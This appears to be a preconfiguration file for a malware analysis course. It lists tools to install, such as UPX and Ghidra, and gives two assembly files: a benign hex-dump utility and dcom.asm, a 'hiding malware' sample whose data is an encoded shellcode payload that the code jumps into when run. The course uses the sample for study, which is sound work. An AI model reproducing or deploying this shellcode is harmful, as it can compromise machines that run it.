PreConfiguration File

This file contains details of the software and virtual machine configuration changes required to support the Complete Malware Analysis course. Each requirement is noted in the relevant course module, but you may wish to pre-load the software to avoid having to wait when working through each video. All software is downloaded to and installed in Kali unless otherwise noted.

Video Title	Item	Details

03_01 Hiding malware	dcom.asm	.386
		.model flat, stdcall
		option casemap :none
		include \masm32\include\windows.inc
		include \masm32\include\kernel32.inc
		include \masm32\include\user32.inc
		includelib \masm32\lib\kernel32.lib
		includelib \masm32\lib\user32.lib
		.data
		  Packet db 90h, 90h, 90h, 90h, 90h, 90h, 90h, 0EBh, 19h, 5Eh, 31h, 0C9h, 81h, 0E9h, 89h, 0FFh,
		            0FFh, 0FFh, 081h, 36h, 80h, 0BFh, 32h, 94h, 81h, 0EEh, 0FCh, 0FFh, 0FFh, 0FFh, 0E2h, 0F2h
		  p1 db 0EBh, 05h, 0E8h, 0E2h, 0FFh, 0FFh, 0FFh, 03h, 53h, 06h, 1Fh, 74h, 57h, 75h, 95h, 80h,
		            0BFh, 0BBh, 92h, 7Fh, 89h, 5Ah, 1Ah, 0CEh, 0B1h, 0DEh, 7Ch, 0E1h, 0BEh, 32h, 94h, 09h
		  p2 db 0F9h, 3Ah, 6Bh, 0B6h, 0D7h, 9Fh, 4Dh, 85h, 71h, 0DAh, 0C6h, 81h, 0BFh, 32h, 1Dh, 0C6h,
		            0B3h, 5Ah, 0F8h, 0ECh, 0BFh, 32h, 0FCh, 0B3h, 8Dh, 1Ch, 0F0h, 0E8h, 0C8h, 41h, 0A6h, 0DFh
		  p3 db 0EBh, 0CDh, 0C2h, 88h, 36h, 74h, 90h, 7Fh, 89h, 5Ah, 0E6h, 7Eh, 0Ch, 24h, 7Ch, 0ADh,
		            0BEh, 32h, 94h, 09h, 0F9h, 22h, 6Bh, 0B6h, 0D7h, 4Ch, 4Ch, 62h, 0CCh, 0DAh, 8Ah, 81h
		  p4 db 0BFh, 32h, 1Dh, 0C6h, 0ABh, 0CDh, 0E2h, 84h, 0D7h, 0F9h, 79h, 7Ch, 84h, 0DAh, 9Ah, 81h,
		            0BFh, 32h, 1Dh, 0C6h, 0A7h, 0CDh, 0E2h, 84h, 0D7h, 0EBh, 9Dh, 75h, 12h, 0DAh, 6Ah, 80h
		  p5 db 0BFh, 32h, 1Dh, 0C6h, 0A3h, 0CDh, 0E2h, 84h, 0D7h, 96h, 8Eh, 0F0h, 78h, 0DAh, 7Ah, 80h,
		            0BFh, 32h, 1Dh, 0C6h, 9Fh, 0CDh, 0E2h, 84h, 0D7h, 96h, 39h, 0AEh, 56h, 0DAh, 4Ah, 80h
		  p6 db 0BFh, 32h, 1Dh, 0C6h, 9Bh, 0CDh, 0E2h, 84h, 0D7h, 0D7h, 0DDh, 06h, 0F6h, 0DAh, 5Ah,
		80h,
		            0BFh, 32h, 1Dh, 0C6h, 97h, 0CDh, 0E2h, 84h, 0D7h, 0D5h, 0EDh, 46h, 0C6h, 0DAh, 2Ah, 80h
		  p7 db 0BFh, 32h, 1Dh, 0C6h, 93h, 01h, 6Bh, 01h, 53h, 0A2h, 95h, 80h, 0BFh, 66h, 0FCh, 81h,
		            0BEh, 32h, 94h, 7Fh, 0E9h, 2Ah, 0C4h, 0D0h, 0EFh, 62h, 0D4h, 0D0h, 0FFh, 62h, 6Bh, 0D6h

		p8 db 0A3h, 0B9h, 4Ch, 0D7h, 0E8h, 5Ah, 96h, 80h, 0AEh, 6Eh, 1Fh, 4Ch, 0D5h, 24h, 0C5h, 0D3h, 40h, 64h, 0B4h, 0D7h, 0ECh, 0CDh, 0C2h, 0A4h, 0E8h, 63h, 0C7h, 7Fh, 0E9h, 1Ah, 1Fh, 50h p9 db 0D7h, 57h, 0ECh, 0E5h, 0BFh, 5Ah, 0F7h, 0EDh, 0DBh, 1Ch, 1Dh, 0E6h, 8Fh, 0B1h, 78h, 0D4h, 32h, 0Eh, 0B0h, 0B3h, 7Fh, 01h, 5Dh, 03h, 7Eh, 27h, 3Fh, 62h, 42h, 0F4h, 0D0h, 0A4h p10 db 0AFh, 76h, 6Ah, 0C4h, 9Bh, 0Fh, 1Dh, 0D4h, 9Bh, 7Ah, 1Dh, 0D4h, 9Bh, 7Eh, 1Dh, 0D4h, 9Bh, 62h, 19h, 0C4h, 9Bh, 22h, 0C0h, 0D0h, 0EEh, 63h, 0C5h, 0EAh, 0BEh, 63h, 0C5h, 7Fh p11 db 0C9h, 02h, 0C5h, 7Fh, 0E9h, 22h, 1Fh, 4Ch, 0D5h, 0CDh, 6Bh, 0B1h, 40h, 64h, 98h, 0Bh, 77h, 65h, 6Bh, 0D6h, 93h, 0CDh, 0C2h, 94h, 0EAh, 64h, 0F0h, 21h, 8Fh, 32h, 94h, 80h p12 db 3Ah, 0F2h, 0ECh, 8Ch, 34h, 72h, 98h, 0Bh, 0CFh, 2Eh, 39h, 0Bh, 0D7h, 3Ah, 7Fh, 89h, 34h, 72h, 0A0h, 0Bh, 17h, 8Ah, 94h, 80h, 0BFh, 0B9h, 51h, 0DEh, 0E2h, 0F0h, 90h, 80h p13 db 0ECh, 67h, 0C2h, 0D7h, 34h, 5Eh, 0B0h, 98h, 34h, 77h, 0A8h, 0Bh, 0EBh, 37h, 0ECh, 83h, 6Ah, 0B9h, 0DEh, 98h, 34h, 68h, 0B4h, 83h, 62h, 0D1h, 0A6h, 0C9h, 34h, 06h, 1Fh, 83h p14 db 4Ah, 01h, 6Bh, 7Ch, 8Ch, 0F2h, 38h, 0BAh, 7Bh, 46h, 93h, 41h, 70h, 3Fh, 97h, 78h, 54h, 0C0h, 0AFh, 0FCh, 9Bh, 26h, 0E1h, 61h, 34h, 68h, 0B0h, 83h, 62h, 54h, 1Fh, 8Ch p15 db 0F4h, 0B9h, 0CEh, 9Ch, 0BCh, 0EFh, 1Fh, 84h, 34h, 31h, 51h, 6Bh, 0BDh, 01h, 54h, 0Bh, 6Ah, 6Dh, 0CAh, 0DDh, 0E4h, 0F0h, 90h, 80h, 2Fh, 0A2h, 04h, 00h, 5Ch, 00h, 43h, 00h p16 db 44h, 00h, 5Ch, 00h, 31h, 00h, 32h, 00h, 33h, 00h, 34h, 00h, 35h, 00h, 36h, 00h, 31h, 00h, 31h, 00h, 31h, 00h, 31h, 00h, 31h, 00h, 31h, 00h, 31h, 00h, 31h, 00h p17 db 31h, 00h, 31h, 00h, 31h, 00h, 31h, 00h, 31h, 00h, 31h, 00h, 31h, 00h, 2Eh, 00h, 64h, 00h, 6Fh, 00h, 63h, 00h, 00h, 00h, 01h, 10h, 08h, 00h, 0CCh, 0CCh, 0CCh, 0CCh p18 db 20h, 00h, 00h, 00h, 30h, 00h, 2Dh, 00h, 00h, 00h, 00h, 00h, 88h, 2Ah, 0Ch, 00h, 02h, 00h, 00h, 00h, 01h, 00h, 00h, 00h, 28h, 8Ch, 0Ch, 00h, 01h, 00h, 00h, 00h p19 db 07h, 00h, 00h, 00h, 00h, 00h, 00h, 00h .code start: push offset Packet ret invoke ExitProcess, 0 end start
04_04	UPX	https://upx.github.io/ Download the latest archive for Windows x64, and unzip it.

hexer.asm

```
.Const
GENERIC_READ  equ 080000000h
GENERIC_WRITE equ 40000000h
OPEN_EXISTING equ 3
FILE_ATTRIBUTE_NORMAL equ 080h
INVALID_FILE_HANDLE equ -1

.Data
hInst        dq  0
hin          dq  0
hout         dq  0
hfile        dq  0
bin          dd  0
bout         dd  0
;------------------
htitle       db 'FILE READER',0dh,0ah
hprompt   db 'Enter file name: '
badfile      db "Can't find that file, sorry...",0Dh,0Ah
strbuff      db 128 dup 0
outline      db 80 dup 0
             db 0dh,0Ah
.Code
start:
   invoke GetModuleHandleA, 0
   mov [hInst], Rax
   invoke GetStdHandle,-10    ; Console input handle returned in eax
   mov [hin],eax
   invoke GetStdHandle,-11    ; Console output handle returned in eax
   mov [hout],eax
   Invoke Main
   Invoke ExitProcess,0

   ;==========================================
   ; make displayable hex word in ebx from al
hexch:
   push eax
   and  eax,0Fh                    ; get nibble
   add  al,30h                     ; assume its numeric
   cmp  al,39h                     ; check
   jle  >
   add  al,7                       ; if not make it uppercase alpha
:  mov  bh,al                      ; store in bh (note endian switch when we store)
   pop  eax
   shr  al,4                       ; move top nibble to bottom
   add  al,30h                     ; assume its numeric
   cmp  al,39h                     ; check
   jle  >
   add  al,7                       ; if not make it uppercase alpha
:  mov bl,al                       ; store in bl
   ret

getfilename FRAME
   uses    eax, ebx,edi
   invoke WriteFile,[hout],addr htitle,13,addr bout,0
   invoke GetCommandLineA
:  mov  bl,[eax]                   ; get next character from path\executable
   test   bl,bl                    ; is this zero?
   jz      >nofile                 ; end of command line so no arguments
   inc    eax
   cmp  bl,020h                    ; is it a space?
   je     >getfile                 ; yes means there's a command line argument coming
   jmp  <
getfile:
   mov  edi, addr strbuff
:  inc  eax                        ; next character...
   mov  bl,[eax]                   ; move next filename char to strbuff
   mov  [edi],bl                         ; store character into strbuff
   cmp  bl,00h                           ; have we reached end of filename?
   je     >gotname
   inc    edi
   jmp   <
nofile:
   invoke WriteFile,[hout],addr hprompt,17,addr bout,0
   invoke ReadFile,[hin], addr strbuff,128,addr bin,0
   mov eax,[bin]
   sub  eax,2
   mov b[strbuff+eax],00h
gotname:
  ret
EndF

Main Frame
   invoke getfilename
   ;-----------------------------------
   ; open file
   invoke  CreateFileA,ADDR strbuff,GENERIC_READ,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
   mov     [hfile], eax
   cmp     eax,INVALID_FILE_HANDLE
   je        >badfilename
   invoke  GetFileSize,[hfile],0
   mov     r15, eax
   xor      r14,r14
loopread:
          ;-----------------------------------
          ; space fill the output line
   mov d[outline],20202020h                        ; space fill first doubleword
   mov ecx,19                                      ; set repeat count to 19
   mov esi,addr outline                            ; source starts at first double word
   mov edi,addr outline + 4                        ; destination starts at second doubleword
   rep movsd                                    ; clear the complete line
   mov  edi,addr outline                        ; position in outline
   ;-------------------------------------
   ; write address in hex
   mov   ecx,4                                  ; prepare for 4 byte (32 bit) addressing
   mov   eax,r14                                ; get current file position
   bswap eax                                    ; swap to put out most significant byte first
:  call  hexch                                  ; get displayable hex representation of al
   mov   [edi],bx                               ; write out
   add   edi,2                                  ; update output line pointer
          shr   eax,8                           ; position at next
   loop  <                                      ; and go back to do it
   add edi,2                                    ; position ready for file data
   ;-------------------------------------
   ; file read next chunk
   xor rax,rax
   mov [strbuff],rax
   mov [strbuff+8],rax
   invoke ReadFile,[hfile],addr strbuff,16,addr bin,0
   ;--------------------------------------
   ; display ascii form
   xor  ecx,ecx
alpha:
   mov  al,[strbuff+ecx]                        ; get next character
   cmp  al,20h                                  ;
   jge  >                                       ; below the lowest printable character?
   mov  al,02Eh                                 ; yes - make it a period
:  cmp  al,7Eh                                  ;
   jle  >                                       ; above the highest printable character?
   mov  al,02Eh                                 ; yes - make it a period
:  mov  [edi],al                                ; store in print line
   inc  edi
   inc  ecx
   cmp  ecx,16                               ; repeat for 16 byte block
   jl  alpha
   add  edi,2                                ; position for hex
   ;--------------------------------------
   ; display hex form
   xor  ecx,ecx
hexa:
   mov  al,[strbuff+ecx]                     ; get next character
   call hexch                                ;
   mov  [edi],bx                             ; write out
   add  edi,2
   inc  ecx
   cmp  ecx,16                               ; repeat for 16 byte block
   jl  hexa
   ;--------------------------------------
   ; end of setup, write line
   invoke  WriteFile,[hout],addr outline,82,addr bout,0
   ;--------------------------------------
   ; increase position in file, decrease bytes to write, are we finished?
   add     r14,16
   sub     r15,16
   jg      loopread
   ;-----------------------------------------
   ; tidy up
   invoke CloseHandle,[hfile]
   invoke CloseHandle,[hin]
   invoke CloseHandle,[hout]
   ret
   ;--------------------------------------
   ; CreateFile fails
badfilename:
   invoke WriteFile,[hout],addr badfile,32,addr bout,0
   ret
```

		EndF
04_05	Ghida	https://ghidra-sre.org Download the latest archive and unzip it. Note you need to have the Java Development Kit (JDK) installed to run this